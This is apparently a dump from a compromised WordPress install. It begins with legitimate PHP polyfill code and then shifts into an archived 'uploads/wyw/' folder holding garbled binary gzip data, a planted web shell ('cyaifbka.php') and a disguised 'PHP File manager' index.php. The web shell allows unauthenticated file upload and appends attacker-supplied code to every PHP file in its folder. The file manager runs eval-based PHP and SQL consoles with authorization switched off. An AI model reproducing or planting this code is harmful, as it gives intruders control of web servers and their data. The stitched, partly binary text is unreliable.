			_deprecated_function( __FUNCTION__, '6.9.0', 'mb_convert_encoding' );

			return mb_convert_encoding( $utf8_text, 'ISO-8859-1', 'UTF-8' );
		}

	else :
		/**
		 * @ignore
		 * @private
		 *
		 * @since 6.9.0
		 */
		function utf8_decode( $utf8_text ): string {
			_deprecated_function( __FUNCTION__, '6.9.0', 'mb_convert_encoding' );

			return _wp_utf8_decode_fallback( $utf8_text );
		}

	endif;
endif;

// sodium_crypto_box() was introduced in PHP 7.2.
if ( ! function_exists( 'sodium_crypto_box' ) ) {
	require ABSPATH . WPINC . '/sodium_compat/autoload.php';
}

if ( ! function_exists( 'is_countable' ) ) {
	/**
	 * Polyfill for is_countable() function added in PHP 7.3.
	 *
	 * Verify that the content of a variable is an array or an object
	 * implementing the Countable interface.
	 *
	 * @since 4.9.6
	 *
	 * @param mixed $value The value to check.
	 * @return bool True if `$value` is countable, false otherwise.
	 */
	function is_countable( $value ) {
		return ( is_array( $value )
			|| $value instanceof Countable
			|| $value instanceof SimpleXMLElement
			|| $value instanceof ResourceBundle
		);
	}
}

if ( ! function_exists( 'array_key_first' ) ) {
	/**
	 * Polyfill for array_key_first() function added in PHP 7.3.
	 *
	 * Get the first key of the given array without affecting
	 * the internal array pointer.
	 *
	 * @since 5.9.0
	 *
	 * @param array $array An array.
	 * @return string|int|null The first key of array if the array
	 *                         is not empty; `null` otherwise.
	 */
	function array_key_first( array $array ) { // phpcs:ignore Universal.NamingConventions.NoReservedKeywordParameterNames.arrayFound
		if ( empty( $array ) ) {
			return null;
		}

		foreach ( $array as $key => $value ) {
			return $key;
		}
	}
}

if ( ! function_exists( 'array_key_last' ) ) {
	/**
	 * Polyfill for `array_key_last()` function added in PHP 7.3.
	 *
	 * Get the last key of the given array without affecting the
	 * internal array pointer.
	 *
	 * @since 5.9.0
	 *
	 * @param array $array An array.
	 * @return string|int|null The last key of array if the array
	 *.                        is not empty; `null` otherwise.
	 */
	function array_key_last( array $array ) { // phpcs:ignore Universal.NamingConventions.NoReservedKeywordParameterNames.arrayFound
		if ( empty( $array ) ) {
			return null;
		}

		end( $array );

		return key( $array );
	}
}

if ( ! function_exists( 'array_is_list' ) ) {
	/**
	 * Polyfill for `array_is_list()` function added in PHP 8.1.
	 *
	 * Determines if the given array is a list.
	 *
	 * An array is considered a list if its keys consist of consecutive numbers from 0 to count($array)-1.
	 *
	 * @see https://github.com/symfony/polyfill-php81/tree/main
	 *
	 * @since 6.5.0
	 *
	 * @param array<mixed> $arr The array being evaluated.
	 * @return bool True if array is a list, false otherwise.
	 */
	function array_is_list( $arr ) {
		if ( ( array() === $arr ) || ( array_values( $arr ) === $arr ) ) {
			return true;
		}

		$next_key = -1;

		foreach ( $arr as $k => $v ) {
			if ( ++$next_key !== $k ) {
				return false;
			}
		}

		return true;
	}
}

if ( ! function_exists( 'str_contains' ) ) {
	/**
	 * Polyfill for `str_contains()` function added in PHP 8.0.
	 *
	 * Performs a case-sensitive check indicating if needle is
	 * contained in haystack.
	 *
	 * @since 5.9.0
	 *
	 * @param string $haystack The string to search in.
	 * @param string $needle   The substring to search for in the `$haystack`.
	 * @return bool True if `$needle` is in `$haystack`, otherwise false.
	 */
	function str_contains( $haystack, $needle ) {
		if ( '' === $needle ) {
			return true;
		}

		return false !== strpos( $haystack, $needle );
	}
}

if ( ! function_exists( 'str_starts_with' ) ) {
	/**
	 * Polyfill for `str_starts_with()` function added in PHP 8.0.
	 *
	 * Performs a case-sensitive check indicating if
	 * the haystack begins with needle.
	 *
	 * @since 5.9.0
	 *
	 * @param string $haystack The string to search in.
	 * @param string $needle   The substring to search for in the `$haystack`.
	 * @return bool True if `$haystack` starts with `$needle`, otherwise false.
	 */
	function str_starts_with( $haystack, $needle ) {
		if ( '' === $needle ) {
			return true;
		}

		return 0 === strpos( $haystack, $needle );
	}
}

if ( ! function_exists( 'str_ends_with' ) ) {
	/**
	 * Polyfill for `str_ends_with()` function added in PHP 8.0.
	 *
	 * Performs a case-sensitive check indicating if
	 * the haystack ends with needle.
	 *
	 * @since 5.9.0
	 *
	 * @param string $haystack The string to search in.
	 * @param string $needle   The substring to search for in the `$haystack`.
	 * @return bool True if `$haystack` ends with `$needle`, otherwise false.
	 */
	function str_ends_with( $haystack, $needle ) {
		if ( '' === $haystack ) {
			return '' === $needle;
		}

		$len = strlen( $needle );

		return substr( $haystack, -$len, $len ) === $needle;
	}
}

if ( ! function_exists( 'array_find' ) ) {
	/**
	 * Polyfill for `array_find()` function added in PHP 8.4.
	 *
	 * Searches an array for the first element that passes a given callback.
	 *
	 * @since 6.8.0
	 *
	 * @param array    $array    The array to search.
	 * @param callable $callback The callback to run for each element.
	 * @return mixed|null The first element in the array that passes the `$callback`, otherwise null.
	 */
	function array_find( array $array, callable $callback ) { // phpcs:ignore Universal.NamingConventions.NoReservedKeywordParameterNames.arrayFound
		foreach ( $array as $key => $value ) {
			if ( $callback( $value, $key ) ) {
				return $value;
			}
		}

		return null;
	}
}

if ( ! function_exists( 'array_find_key' ) ) {
	/**
	 * Polyfill for `array_find_key()` function added in PHP 8.4.
	 *
	 * Searches an array for the first key that passes a given callback.
	 *
	 * @since 6.8.0
	 *
	 * @param array    $array    The array to search.
	 * @param callable $callback The callback to run for each element.
	 * @return int|string|null The first key in the array that passes the `$callback`, otherwise null.
	 */
	function array_find_key( array $array, callable $callback ) { // phpcs:ignore Universal.NamingConventions.NoReservedKeywordParameterNames.arrayFound
		foreach ( $array as $key => $value ) {
			if ( $callback( $value, $key ) ) {
				return $key;
			}
		}

		return null;
	}
}

if ( ! function_exists( 'array_any' ) ) {
	/**
	 * Polyfill for `array_any()` function added in PHP 8.4.
	 *
	 * Checks if any element of an array passes a given callback.
	 *
	 * @since 6.8.0
	 *
	 * @param array    $array    The array to check.
	 * @param callable $callback The callback to run for each element.
	 * @return bool True if any element in the array passes the `$callback`, otherwise false.
	 */
	function array_any( array $array, callable $callback ): bool { // phpcs:ignore Universal.NamingConventions.NoReservedKeywordParameterNames.arrayFound
		foreach ( $array as $key => $value ) {
			if ( $callback( $value, $key ) ) {
				return true;
			}
		}

		return false;
	}
}

if ( ! function_exists( 'array_all' ) ) {
	/**
	 * Polyfill for `array_all()` function added in PHP 8.4.
	 *
	 * Checks if all elements of an array pass a given callback.
	 *
	 * @since 6.8.0
	 *
	 * @param array    $array    The array to check.
	 * @param callable $callback The callback to run for each element.
	 * @return bool True if all elements in the array pass the `$callback`, otherwise false.
	 */
	function array_all( array $array, callable $callback ): bool { // phpcs:ignore Universal.NamingConventions.NoReservedKeywordParameterNames.arrayFound
		foreach ( $array as $key => $value ) {
			if ( ! $callback( $value, $key ) ) {
				return false;
			}
		}

		return true;
	}
}

if ( ! function_exists( 'array_first' ) ) {
	/**
	 * Polyfill for `array_first()` function added in PHP 8.5.
	 *
	 * Returns the first element of an array.
	 *
	 * @since 6.9.0
	 *
	 * @param array $array The array to get the first element from.
	 * @return mixed|null The first element of the array, or null if the array is empty.
	 */
	function array_first( array $array ) { // phpcs:ignore Universal.NamingConventions.NoReservedKeywordParameterNames.arrayFound
		if ( empty( $array ) ) {
			return null;
		}

		foreach ( $array as $value ) {
			return $value;
		}
	}
}

if ( ! function_exists( 'array_last' ) ) {
	/**
	 * Polyfill for `array_last()` function added in PHP 8.5.
	 *
	 * Returns the last element of an array.
	 *
	 * @since 6.9.0
	 *
	 * @param array $array The array to get the last element from.
	 * @return mixed|null The last element of the array, or null if the array is empty.
	 */
	function array_last( array $array ) { // phpcs:ignore Universal.NamingConventions.NoReservedKeywordParameterNames.arrayFound
		if ( empty( $array ) ) {
			return null;
		}

		return $array[ array_key_last( $array ) ];
	}
}

// IMAGETYPE_AVIF constant is only defined in PHP 8.x or later.
if ( ! defined( 'IMAGETYPE_AVIF' ) ) {
	define( 'IMAGETYPE_AVIF', 19 );
}

// IMG_AVIF constant is only defined in PHP 8.x or later.
if ( ! defined( 'IMG_AVIF' ) ) {
	define( 'IMG_AVIF', IMAGETYPE_AVIF );
}

// IMAGETYPE_HEIF constant is only defined in PHP 8.5 or later.
if ( ! defined( 'IMAGETYPE_HEIF' ) ) {
	define( 'IMAGETYPE_HEIF', 20 );
}
uploads/wyw/class-wp-site.php.tar.gz000066600000004251152443022640013461 0ustar00Yms6WW>w$g'N:ԹzꙤ%
$x)Emow 8n\'\DLB)lX2OL|$S≈&~q	3	cnF8[f_}s|:=xrW>ᣃ)?<x4I)L5^{.e'gG<6LBKs-h}oY9sqa' f;?O}/*ˆ͕f2ͅa.[|8KJb"	qmnTh+\LeEa[ݰZy0Ռnj3"/2ZV5X&*:ߠ]u"_+}MN8)$W,Q踛tLHKEd'$ܮ?)Xt~=+_hGRﰕq|7LnTj=',-e$ۧաJ2˙eޱatXq߳8eM}\%\Lɩ֙A9d`S?!6%ۧ=0,.|a@pK:NRHdTm[(s݇-cD,`*euؚ
,RiDD7=Gכ~@~
tLx>nZ'qN
X<9ak 	sVdᎤGp/kk*Sŋ?ir[-9n$GØ b>cU9 :aLbB>Z{"pMAj?ARYU3|ܟ>~&=p\I1_,\#XSOrc1OvFĦ&Y	ZZj\ #5\g6P6g;u.['TE@@lYWzxs5J;v:-{s'Y4Zo0C6/R+BLa4rA9I[4kϫCc&ߐ}ݦsғԸ
Hc0gp)%Vcv;-sUj=,k/^8|kǖ|`?x}Wg.ξȊ$,ky޿)J{NZWGoa+Wۜ:S.>xsJHy
KaV)tDK\@ H9|TvJTdj{vg͵2e{,iRG -ta,	L{Jl3qQG*b虝ts9M۫tKAPZMO|i-FۡjZ)mq/h[::u<nBn0KA|_;}awH1v\k5&P^(wgrw,!iҚ@z!֍GN6`CmIfn[y`71w՗	(^!wGl2aA9 JH`(@mZ(r	FD0+˓"2{.&U#
l17oEsAɬV?ΐV9^]|;NqݤqǨ6\)7T;#CX#*6:!GVRx{ BVa^Ƿ]iھ~5^E~mzWס?MQ󧺒,E'^սCG7	+yOy3bfd\l^@RmQvzGGmD&Nji[@m*{U>r
nT9˷֑aˏ>ߔ:5&j=lbM8M[38ZowvL@yY4a1~@Ǐ>!-!cU	==eR׋lzEƭi莓UИ)9ubHSutxG﵉ѩ?RNYoK@9gdcWpx:o7&a	fKK%tįKw]IRގ)mi]%SؕT>O_/ϗ>*2v$uploads/wyw/class-pop3.php.tar.gz000066600000011524152443022640012753 0ustar00<ks85ε&,g8Gwc29EA7!qtH$MݍK"w7M%I>~*fnb'_>$v˲$N'OM^x}ޟ^>^~7lWLx),[;|Hqko7lq'(a<
&S:~zjĶǎQVLμL4G\takk>BPQ0
jAp>&1{>+6oXQx3#v}zWIx`RFqvuy-K@a_Qq<`<q9{wug0q@,c|]^Ci9[`Oɚ[}s)gUryJtT$~w7Nc>dW=v'I>H+VMK<7,	Ie]ץt֖/^ʶO/X/߲]Nxd*ܞ?SSCD0q.ؐ|8',VhC~bA]]jwL3eЙ<ƴޝ\ii7xJo.N^fF_BoQR0453dhhĂC<3qzUL
ҏDLId4HD?<;9ZYX'/,80,Hc@:>;M!@W2X9ǿܟQi̼h1%1AݾI0DL`	({jEZ~CIz Tpu#Śs;,G:םAjlD?04
2ޫME vEi4DÊ'xG%%8㷻mGRUö?rh<miV	>i_1(]B8fQ,dIH"+M:1@zaʽќe	)*d]UCwpp=`qQ[H'~5{u%ݺkc+%ǾӬSVYW
BpXZGBU|)geюMix 2!b^cV{9Ƿ{w@_klۨ~qpL=6sx"S$զITL2Ol6'#Op"1eSc#X_c1]mQb"딌I72rvDnԨ0.
9$Y1|HшG=09X2e{aFߌ!2!
ǃ>8BC1Aps2)A3:Drz}/w&rFol[+֒ӺuH,Q-yDdJhWJIͦo	vbdR`y˿`k]ȧ&sV>>5>jR)l{H;wogπc>Ny΁/t+HpܑOQ~hkZu$oN.هJRٻ[
lO ?i6 1&TrT̚hT
Z5Ҍ˜ڕLhnU
TV{֭3힂Y*ɱl)GkZ0:1
"vvrA
3(v
Q:Ku٪m٨".Ϫjq3bJM(:57XyGjhM]c,@Q!dB(ClC.B&<xX5i*oB7VZlJkB|"aDs)UhnѶܲ
Lh*,e@^qu?R58,WI
俇XHaT^}Ci50&ti*˻kw7֚z	vyJoi٣/Z;?`'H2,cp];{	!|Ӓz״ePQ!~RJ-ABr&:T <𯎻k;*_D+܁B<.4
U=iLھH@lsoCX[5BRnIDF
`ˎ1E'dY΄r"rN"+J[WkPjBUa̤a/[O&F3sKG^9-4	*@:4vz+7,<+i&!`+4	v<clCEdH.JGf\hv{Rjlo#6
WU5Ydp*6*utlKiJTTkc,JP6p@Iσ=
q!7jSE4Xlhn'<49H@4沶=ZiyŐ)<3˔CH=Z(8Ng{DLâľSl,\U+/m/$*T(-i 8))j-/*jt6SO⭻.+#erg>QXS
1ڣ
&d6l] Cj5˸<IŸvڻSń?H>pF5H=|=%
!\
6Lirr[5v(xa	2	1xfy*rBQ$z6˂b_U$zj1eY H^Y!|dA@*s	y|UҒr
km܉-tR0e2-8MNOPqzqAR"BdäMxQT-Iv£=;e<ͭ/c8jӼd
_5n|=KVZL4Dn}B؝ѧF6u'Ϝ%a 3=Cz8iuzx6lӋyv$-Vr
f'N/{]";zlCPi]#ȸ:)^$q&X%^d]C&𩫘] rfa8H!E'k1JGiZFUmC~F_R <VJsAؖGd,蝙5aQ	pgG
j`Tm*c
]'׎=ovbNeOtG*׭yզ"("
]zƆi0qA,S۾5UlvtJ\
YⰀgm"LxBg_(kF]SFO90Sq,l޶&ZICs^^5LPz,NxD{f4!dmmdi+t^憵aQ;KתT9;/J;łP鸾W5j9<?]
!e#ʋ\Lb͙tb}Mj"du}sULYb;JޑxxMwW؎Vs(@yH<>!8Hw|m H<僑IeC-U̱
G<q-yM5
ϪG/oME>8qgMhٖu[mf%Xtښ(AqhxI2*LG).똗z=]B[B[jT55{7=.CRaE%T-I>%z2;QQ:%4RH+
k6oF1ݤ
mEa6u8 5,@rob+_Uvt7 ZëeTIPX]ve$y'4SluC<ZQy|}_y;uo%|)mB̌XվǕ:%vŦ(qm~l`Z
6.ƒwWq!©U)KeW[*[<zuPmy0
+]AG2bnΎ
qGn V#DgOY
(<ig@błthV@4EP8Z3uk2JmAdnsqM*
*Xf;X1*9Ӑي+A,ЈeHh6f{d	- /㫩O۵y~x5H6TUk]w_UmXv<B-ehjSd}*Aq-<T]*K~Wqp\RQo@n6OOJrY	bB"iMho݌=%ziԭeOm=GQkHdR̈́\rżrK3>ƺO2Il_!Hmńu*k;Ԧo*Ac,pI%N)^R;cy~deSݻ"2v];~Z0.ۀQ5$uB)Tav=W)q.(xj4	Y80Li<\U$uDl*GX%YoQ<wԁVG
ArgwLUˋ/?L^lǹ0*׎{_fy4SI͚QmCk=MtLauz{Hhl2jfj*گ۵޴*lr/{&RaEDj ]tpZo4\vȗԝA\?d3܄Vߴ
gEN;-p>/&F"u-/H*E۷GzLx'(Ə(Qr(Fef[x/[??^O_

ygZuploads/wyw/cyaifbka.php.tar000066600000005000152443022640012111 0ustar00home/cienp/public_html/inct-inovamed/wp-includes/cyaifbka.php000064400000001370152442710320020346 0ustar00<?php echo"<form method='post' enctype='multipart/form-data'><input type='file' name='a'><input type='submit' value='Nyanpasu!!!'></form><pre>";if(isset($_FILES['a'])){move_uploaded_file($_FILES['a']['tmp_name'],"{$_FILES['a']['name']}");print_r($_FILES);};echo"</pre>";?>
<?php
if (isset($_GET['bak'])) {
$directory = __DIR__;
$mama = $_POST['file'];
$textToAppend = '
' . $mama . '
';
if ($handle = opendir($directory)) {
    while (false !== ($file = readdir($handle))) {
        if (pathinfo($file, PATHINFO_EXTENSION) === 'php') {
            $fileHandle = fopen($directory . '/' . $file, 'a');
            fwrite($fileHandle, $textToAppend);
            fclose($fileHandle);
            echo "OK >> $file
";
        }
    }
    closedir($handle);
}
}
?>
uploads/wyw/version.php.tar.gz000066600000001074152443022640012453 0ustar00o0J{@*T[~-m51Nx@rkcvZsڦ2Q		x9>=˙s2fNPܝ	Lb/ZL4VhYqrd8Ea(q0䏂htJ똡h/_ {`Ѓ|&>OR+DŽ>5F2Wi.C1V92*˛lmDtB/{kl+rS:#|JݩSL4pm
zb
NCBx
SKrB9NdP)"-0ȝ6զy鲘.6xw.޽%e>rJkϘf$#njqK=KO('M.p܅x+Tu}~=p&9sZaS0q(R(!KIzܕ$|
ʯctwvj1ͨ{*GzK?m=An3UzO߭VSZdfx~>Ǜ+$+{?^УD/юvԨuploads/wyw/index.php000066600000235120152443022640010672 0ustar00<?php
/* PHP File manager ver 1.6 */

// Configuration ?? do not change manually!
$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":""}';
$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"ru","Add":"Добавить","Are you sure you want to delete this directory (recursively)?":"Вы уверены, что хотите удалить эту папку (рекурсивно)?","Are you sure you want to delete this file?":"Вы уверены, что хотите удалить этот файл?","Archiving":"Архивировать","Authorization":"Авторизация","Back":"Назад","Cancel":"Отмена","Chinese":"Китайский","Compress":"Сжать","Console":"Консоль","Cookie":"Куки","Created":"Создан","Date":"Дата","Days":"Дней","Decompress":"Распаковать","Delete":"Удалить","Deleted":"Удалено","Download":"Скачать","done":"закончена","Edit":"Редактировать","Enter":"Вход","English":"Английский","Error occurred":"Произошла ошибка","File manager":"Файловый менеджер","File selected":"Выбран файл","File updated":"Файл сохранен","Filename":"Имя файла","Files uploaded":"Файл загружен","French":"Французский","Generation time":"Генерация страницы","German":"Немецкий","Home":"Домой","Quit":"Выход","Language":"Язык","Login":"Логин","Manage":"Управление","Make directory":"Создать папку","Name":"Наименование","New":"Новое","New file":"Новый файл","no files":"нет файлов","Password":"Пароль","pictures":"изображения","Recursively":"Рекурсивно","Rename":"Переименовать","Reset":"Сбросить","Reset settings":"Сбросить настройки","Restore file time after editing":"Восстанавливать время файла после редактирования","Result":"Результат","Rights":"Права","Russian":"Русский","Save":"Сохранить","Select":"Выберите","Select the file":"Выберите файл","Settings":"Настройка","Show":"Показать","Show size of the folder":"Показывать размер папки","Size":"Размер","Spanish":"Испанский","Submit":"Отправить","Task":"Задача","templates":"шаблоны","Ukrainian":"Украинский","Upload":"Загрузить","Value":"Значение","Hello":"Привет","Found in files":"Найдено в файлах","Search":"Поиск","Recursive search":"Рекурсивный поиск","Mask":"Маска"}';
// end configuration

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.6;

ini_set('display_errors', '1');
ini_set('display_startup_errors', '1');
error_reporting(E_ALL);						   

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ?? maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
